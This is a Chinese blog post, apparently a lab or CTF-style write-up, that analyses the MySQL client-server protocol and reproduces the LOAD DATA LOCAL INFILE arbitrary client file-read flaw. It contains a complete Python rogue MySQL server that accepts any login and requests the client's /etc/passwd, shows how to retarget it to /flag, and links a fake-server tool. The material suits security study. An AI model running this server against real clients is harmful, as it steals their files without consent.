Mysql LOAD DATA 读取客户端任意文件
qiyuwang 2025-04-05 22:09 4 浏览 0 评论
复现 Mysql LOAD DATA INFILE 读取客户端任意文件漏洞
前言
MySQL 客户端和服务端通信过程中是通过对话的形式来实现的,客户端发送一个操作请求,然后服务端根据客户端发送的请求来响应客户端,在这个过程中客户端如果一个操作需要两步才能完成,那么当它发送完第一个请求过后并不会存储这个请求,而是直接丢弃,所以第二步就是根据服务端的响应来继续进行,这里服务端就可以欺骗客户端做一些事情。
但是一般的通信都是客户端发送一个 MySQL 语句然后服务器端根据这条语句查询后返回结果,也没什么可以利用的。但是 MySQL 有个语法 LOAD DATA INFILE 可以用来读取一个文件的内容并插入到表中。
从上图的官方文档说明可以看到,该命令既可以读取服务端的文件,也可以读取客户端的文件,这取决于 LOCAL modifier 是否给定。
读取服务端上的文件内容存入表中的 SQL 语句是:
load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
读取客户端上的文件内容存入表中的 SQL 语句是:
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
两相对比,读取客户端上的文件内容多了一个 local 关键字。
以上所描述的过程可以形象地用两个人的对话来表示:
- 1. 客户端:把我本地 /data/test.csv 的内容插入到 TestTable 表中去
- 2. 服务端:请把你本地 /data/test.csv 的内容发送给我
- 3. 客户端:好的,这是我本地 /data/test.cvs 的内容
- 4. 服务端:成功/失败
正常情况下这个流程没有问题,但是前文提到了客户端在第二次并不知道它自己前面发送了什么给服务器,所以客户端第二次要发送什么文件完全取决于服务端,如果这个服务端不正常,就有可能发生如下对话:
- 1. 客户端:请把我本地 /data/test.csv 的内容插入到 TestTable 表中去
- 2. 服务器:请把你本地 /etc/passwd 的内容发送给我
- 3. 客户端:好的,这是我本地 /etc/passwd 的内容
- 4. 服务端:成功偷取文件内容
这样服务端就非法拿到了 /etc/passwd 的文件内容!接下来开始进行这个实验,做一个恶意服务端来欺骗客户端。为了编写出伪造恶意 MySQL 服务器的 POC,必须对 MySQL 协议有足够的了解,所以接下来尝试分析一下 MySQL 协议的数据包。
MySQL 协议数据包分析
为了非法读取客户端文件,我们需要实现一个假的 MySQL 服务器。那如何实现呢?这需要我们对 MySQL 协议展开详细的分析才能做到,好在借助 Wireshark 结合 MySQL 官方文档可以帮助我们轻松分析 MySQL 协议的数据包。
我以 ubuntu 虚拟机为客户端,windows物理机为服务端,借助 Wireshark 工具捕捉两者间的 mysql 通信数据包。
客户端ip:192.168.239.129
服务端ip:192.168.1.3
客户端和服务端之间交互的 MySQL命令如下
mysql -h 192.168.1.3 -P 3306 -u root -p
use security;
load data local infile "/etc/passwd" into table users;
开启物理机的 mysql,这里注意需要设置 mysql 允许外来连接,不知道如何操作看看这篇文章
设置 MySQL 允许外部访问
2.打开 wireshark,选择捕获 Vmware 相关的网卡并选择过滤 MySQL 协议,然后用虚拟机连接。
注意:不要使用 mysql 8.0.12 版本,否则相关的数据包显示不完整,甚至连接的用户名都显示不了,这个版本的加密可能更严格吧。
官方文档告诉我们 MySQL 协议也支持通过 TLS 进行加密和身份验证。MYSQL_TLS
那我们捕获的数据包是否进行了加密呢?稍加分析一下这些捕获的数据包就可以判断其确实使用了 TLS 进行了加密。接下来我们根据文档结合 Wireshark 捕获的数据包来进行实践论证!
连接过程数据包
运行连接命令时捕获到的数据包
mysql -h 192.168.1.3 -P 3306 -u root -p
不打算全部都细说,就以前两个数据包为例子,和官方文档对照来学习其结构。
- o
- 第一个数据包 Protocol::HandshakeV10 服务端到客户端
当客户端通过 MySQL 协议连接到 服务端会发生什么呢?官方文档 Protocol::Handshake 告诉我们当客户端连接到服务端时,服务端会发送一个初始的握手数据包(Initial Handshake Packet)给客户端。根据服务端的版本和配置选项,服务端会发送不同的初始数据包。
为了服务端可以支持新的协议,Initial Handshake Packet 初始的握手数据包的第一个字节被定义为协议的版本号。从 MySQL 3.21.0 版本开始,发送的是 Protocol::HandshakeV10
我采用的 MySQL 版本是 5.7.26,所以发送的就是 Protocol::HandShakeV10 ,我们可以看看文档是如何定义这个数据包的结构的:
关于 Type 字段各个值的含义在 Integer Types 和 String Types
int<1> 就是 一个字节,string
我们点开 Wireshark 中服务端给客户端发送的初始数据包,从 Server Greeting 字段开始就是 payload 部分,也就是初始的握手数据包。从图中我们可以看到有协议版本、服务端的 MySQL 版本、进程 ID。这和我们上图的文档是不是完美对应上了?
Protocol::HandShakeV10 只定义了一个数据包的 payload 部分,而关于头部的定义在 MySQL Packets
和实际的数据包的对应:
payload_length:
sequence_id:
payload:
值得注意的是 Wireshark 的数据是按照小端排列的,比如数据包长度 74 对应的字段数据是 4a 00 00。
其余的字段就不再分析了,大同小异。紧接着简单看看客户端给服务端的回应吧。官方文档告诉我们,如果客户端支持 SSL(Capabilities Flags & CLIENT_SSL is on and the mysql_ssl_mode of the client is not SSL_MODE_DISABLED) ,那么一个短的被称为 Protocol::SSLRequest: 的数据包会被发送,使得服务端建立一个 SSL layer 并等待来自客户端的下一个数据包。(这里你可能会感到混乱,前面不是说 TLS 吗,怎么现在变成了 SSL?其实 TLS 是升级版的 SSL,但是由于 SSL 这一术语更加常用,所以人们经常互换使用者两个术语。什么是 SSL、TLS、HTTPS)
如果不支持,那么客户端会返回 Protocol::HandshakeResponse: 。同时在任何时候,发生任何错误,客户端都会断开连接。
- o
- 第二个数据包 Protocol::HandshakeResponse41 客户端到服务端
根据前面的分析,这里客户端如果支持 SSL,那么会发送 Protocol::SSLRequest 数据包,否则就是Protocol::HandshakeResponse:。根据我的验证,应该发送的是 Protocol::HandshakeResponse41
感觉挺奇怪的,我觉得应该发送 SSLRequest 才是,但是其包结构却又对应不上。
client_flag(4字节),包括了扩展的 Client capabilities
image-20230110154523933
max_packet_size(4字节)
0x01000000 = 16777216
character_set(1字节)
filler(23字节)
username(以 00 结尾的字符串)
auth_response
文档中说这是一个条件选项,当前的数据包是满足这个条件的。
根据文档对这个字段的释义,其是一个不透明的验证响应。没想到在实际数据包中是一个密码,经过了某个哈希算法。我没有去求证 MySQL 采用什么哈希算法,
接下来就不继续分析,大同小异。
这个数据包的重点在于能够表明客户端是否支持 LOAD DATA LOCAL,这是我们可以读取客户端本地文件的根本。关于这个字段的定义在:CLIENT_LOCAL_FILES
- o
- 第三个数据包 Ok_Packet 服务端到客户端
这个数据包一看就是 Ok_Packet
- o
- 第四个数据包 COM_QUERY 客户端到服务端
这个数据包是 COM_QUERY
- o
- 第五个数据包 Text Resultset 服务端到客户端
这个数据包是 Text Resultset
选择 security 数据库捕获的数据包
当客户端向服务端发送 use security 命令选择数据库时捕获到的数据包。特别多,下图并没有截完整。这一步不重要
读取客户端文件捕获的数据包
在客户端上执行如下命令将 /etc/passwd 文件内容写入到 users 表时捕获到的数据包。
load data local infile "/etc/passwd" into table users;
一共就四个包,很明显第一个包是一个 COM_QUERY
这个图我不小心去读服务端的文件了,但是无伤大雅。数据包结构是一样的,而且下图我重抓啦~
糟糕的是第三个数据包由于我的物理机拒绝了访问而导致这个数据包是一个错误响应数据包。
我在这里找到了解决方案
stackoverflow
连接的时候用
mysql --local-infile=1 -u root -p -h 192.168.1.3
重新抓一遍包!!
- o
- 第一个数据包 客户端到服务端 COM_QUERY
- o
- 第二个数据包 服务端到客户端LOCAL INFILE Request
这个数据包很重要,是构造恶意 MySQL 服务器的重点,我们需要根据这个数据包的结构书写 payload。具体地说,需要伪造的部分是 MySQL 数据包的首部和 payload 部分。还记得前面的 MySQL 数据包的结构图吗?
对照一下上图就会发现这个 MySQL 协议数据包的头部是
0c 00 00 01
对应的 payload(不是 wireshark 的那个 Payload) 是
fb 2f 65 74 63 2f 70 61 73 73 77 64
- o
- 第三个数据包 客户端到服务端COM_QUERY
上一个数据包服务端给客户端发送LOAL INFILE Request 的响应后,客户端发给服务端的这一个数据就包含了 /etc/passwd 文件的内容。
- o
- 第四个数据包 服务端到客户端Ok_Packet
客户端经过两个请求,成功的将自己的 /etc/passwd 文件插入到表 users 中,
根据我们前面所说,客户端在发送完第一个请求之后并不会存储这个请求,而是直接丢弃。所以第二步是根据服务端的响应来进行,这里服务器就可以欺骗客户端做一些事情(改变第二个数据包的响应内容)。有了以上的铺垫,POC 的编写并不困难。只需要完成连接过程,然后修改第二个数据包的响应内容就好。
POC
我懒得完整编写 POC 了,所以从网上抄了一个。值得一提的是这个 POC 并不标准,在连接建立过程中发送的数据并没有包含数据包首部,而发送 payload 的时候又包含了首部。(同时从编写的代码来看好像编写者并没有对数据包的构成有一个准确的认识 hhh,当然也有可能是我错了)
- 1. 客户端发送请求数据包
- 2. 服务端发送 Mysql 的 Greet 与 banner 信息
- 3. 客户端发送认证请求(用户名与密码)
- 4. 这里面我们当然要保证无论输入什么密码都是可以的
- 5. 获取到文件信息直接输出
#!/usr/bin/python
#coding: utf8
import socket
# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
#数据包长度
payloadlen = "\x0c" #这里明显有问题啦,因为文档告诉我们数据包的长度是用三个字节表示的
padding = "\x00\x00"
payload = payloadlen + padding + "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" #这里又把序列号拼在了 数据包的 payload部分
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()
在服务器运行以上脚本,并在客户端连接
收到 /etc/passwd 文件内容
读取 /flag
如果想要读取 /flag 如何修改 payload 呢?这是一个很简单的问题,因为已知了这是一个 LOCAL INFILE Request 数据包,所以只需要构造一下数据包首部和 payload 部分即可(保持 POC 中其余字段不变)。
首部包括三个字节长的长度字段,一个字节长的序列号。
payload 部分是一个字节长的包类型 0xFB 和 xx 字节长的文件名
现在真正的数据部分是/flag,转换成十六进制为 2f666c6167,其拼接上一个字节的包类型 0xFB 就凑成了 payload 部分:fb 2f 66 6c 61 67 ,故首部中的长度字段值为 0x06。
好用的自动化工具
https://github.com/fnmsd/MySQL_Fake_Server
相关推荐
- 你真的会用Word画线吗?(word画线技巧)
-
【你真的会用Word画线吗?】①输入三个“=”回车,是一条双直线;②输入三个“”,回车,就是一条波浪线;③输入三个“”回车,就是一条虚线;④输入三个“-”,回车,就是一条细直线.....新技能get√...
- 「干货」Word技巧知识——进阶篇(2)
-
Hello,大家好,我是无拘无束的分享知识,每天跟大家分享点有用的知识,话不多说。感兴趣的朋友可以点赞、关注、收藏哦。1.将word文档中的硬回车全部消除从事来稿阅读、编辑的工作者,最头痛的事就是打...
- 办公室人员必备! Word快捷键大全(办公中常用的快捷键)
-
【Word里超简单的画线方法!】简历、总结里文字太多怎么办?用线条分隔!Word画线秘籍:①输三个"="回车,是一条双直线②输三个"~"回车,是一条波浪线③输三个"-"回车,就是一条细直线。(来源...
- Word笔记大全(详细步骤)(word怎么写笔记)
-
字处理一、文档的基本操作1.打开/新建2.快速新建ctrl+n3.利用模板创建文件--新建--选择模板officeplus4.保存5.保护文件--信息--保护文档--限制编辑--对话框:勾选每一项...
- 如何删除word文档空白页?(怎么删除word里的空白页?)
-
在日常办公或学习中,我们经常会遇到Word文档中出现空白页的情况,这不仅影响文档的美观,还可能造成打印浪费。下面,我将为大家详细介绍如何在Office和WPS中的Word里轻松删除这些恼人的空白页。...
- Win11学院:如何在Windows 11装机时禁用BitLocker磁盘加密
-
IT之家5月7日消息,微软计划在Windows1124H2装机过程默认启用BitLocker加密,对于用户来说有两方面的影响:其一是影响硬盘的性能,其二是用户如果没有解密密钥,可能...
- 办公小技巧:Word“安全模式”用通透
-
大家都知道Windows的安全模式。其实,Word也有安全模式。那么,Word的安全模式又是什么?何时使用这种模式?使用这种模式有何限制?当Word运行中遇到问题需要启用安全模式运行时,如何按照软件给...
- 段落结束敲回车,下一段格式变样了怎么处理#每天学习一点点
-
段落换行后的格式发生变化。段落结束敲回车键,下一段格式变样了怎么处理?大家有时候遇到文章敲回车键,在下一段打字之后会发现这一段的样子就会和之前的段落不一样,当然可以调整一下或者用格式刷刷一下,但是稍微...
- 硬回车、软回车等介绍(硬回车键和软回车键)
-
1.硬回车:硬回车占两个字节,在word中敲击Enter键即可输入硬回车,硬回车是真正的段落标记,在两个硬回车之间的文字自成一个段落。代码是^p(小写)。2.软回车:用Shift+Enter产...
- Word里超简单的画线方法!(word中如何画线条)
-
小厅分享【Word里超简单的画线方法!】简历、总结里文字太多怎么办?用线条分隔!Word画线秘籍:①输三个"="回车,是一条双直线②输三个"~"回车,是一条波浪线③输三个"-"回车,就是一条细直线...
- Word 如何更改图片、删除与删除背景,勾选图片等问题
-
如果插入到Word文档中的图片想另外换一张,更换方法有两种,一种是把原图删除另外插入一张,另一种是直接更换图片。Word2016提供了更改图片的功能,用此功能更换图片会自动把原图删除,就像...
- Word中批量删除空行(多种方案)(批量删除word中的空行)
-
如下图,在Word文档中存在大量空行(回车),为了文档整洁,需要批量取消这些回车;方法一Ctrl+h,在查找内容中输入”^p^p”,在替换为输入”^p”,单击全部替换即可(^符号在英文输入法下按Shi...
- Word文档如何取消自动编号?(word文档如何取消自动编号功能)
-
在word文档中,当我们编辑有序号的文本内容时,word会自动识别给文本编号,如果直接删除序号再按回车键,序号又会自动填充。但有时候我们并不需要它自动编号或不喜欢它的编号格式,如何才能取消word自动...
- 最全的Word知识点,抓紧时间收藏起来
-
Word知识点1.1word工作界面Word2010的窗口组成∶窗口分标题栏、菜单栏、常用工具栏、格式工具栏、标尺、编辑区滚动条、状态栏、任务窗格。1.标题栏∶显示所编辑的文档名和程序名称。单击标题...
- Word中的页眉横线就是删不掉?其实按下这个键,1秒就能去除
-
不知道大家在用Word的同时,有没有遇到过难删除的页眉横线呢?以前小编就是遇到这条横线,不得已将里面的文字复制到一个新的文档中,如今终于知道该怎样删除这条横线了,下面我们就来看看删除方法。一、删除页眉...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- navicat无法连接mysql服务器 (65)
- 下横线怎么打 (71)
- flash插件怎么安装 (60)
- lol体验服怎么进 (66)
- ae插件怎么安装 (62)
- yum卸载 (75)
- .key文件 (63)
- cad一打开就致命错误是怎么回事 (61)
- rpm文件怎么安装 (66)
- linux取消挂载 (81)
- ie代理配置错误 (61)
- ajax error (67)
- centos7 重启网络 (67)
- centos6下载 (58)
- mysql 外网访问权限 (69)
- centos查看内核版本 (61)
- ps错误16 (66)
- nodejs读取json文件 (64)
- centos7 1810 (59)
- 加载com加载项时运行错误 (67)
- php打乱数组顺序 (68)
- cad安装失败怎么解决 (58)
- 因文件头错误而不能打开怎么解决 (68)
- js判断字符串为空 (62)
- centos查看端口 (64)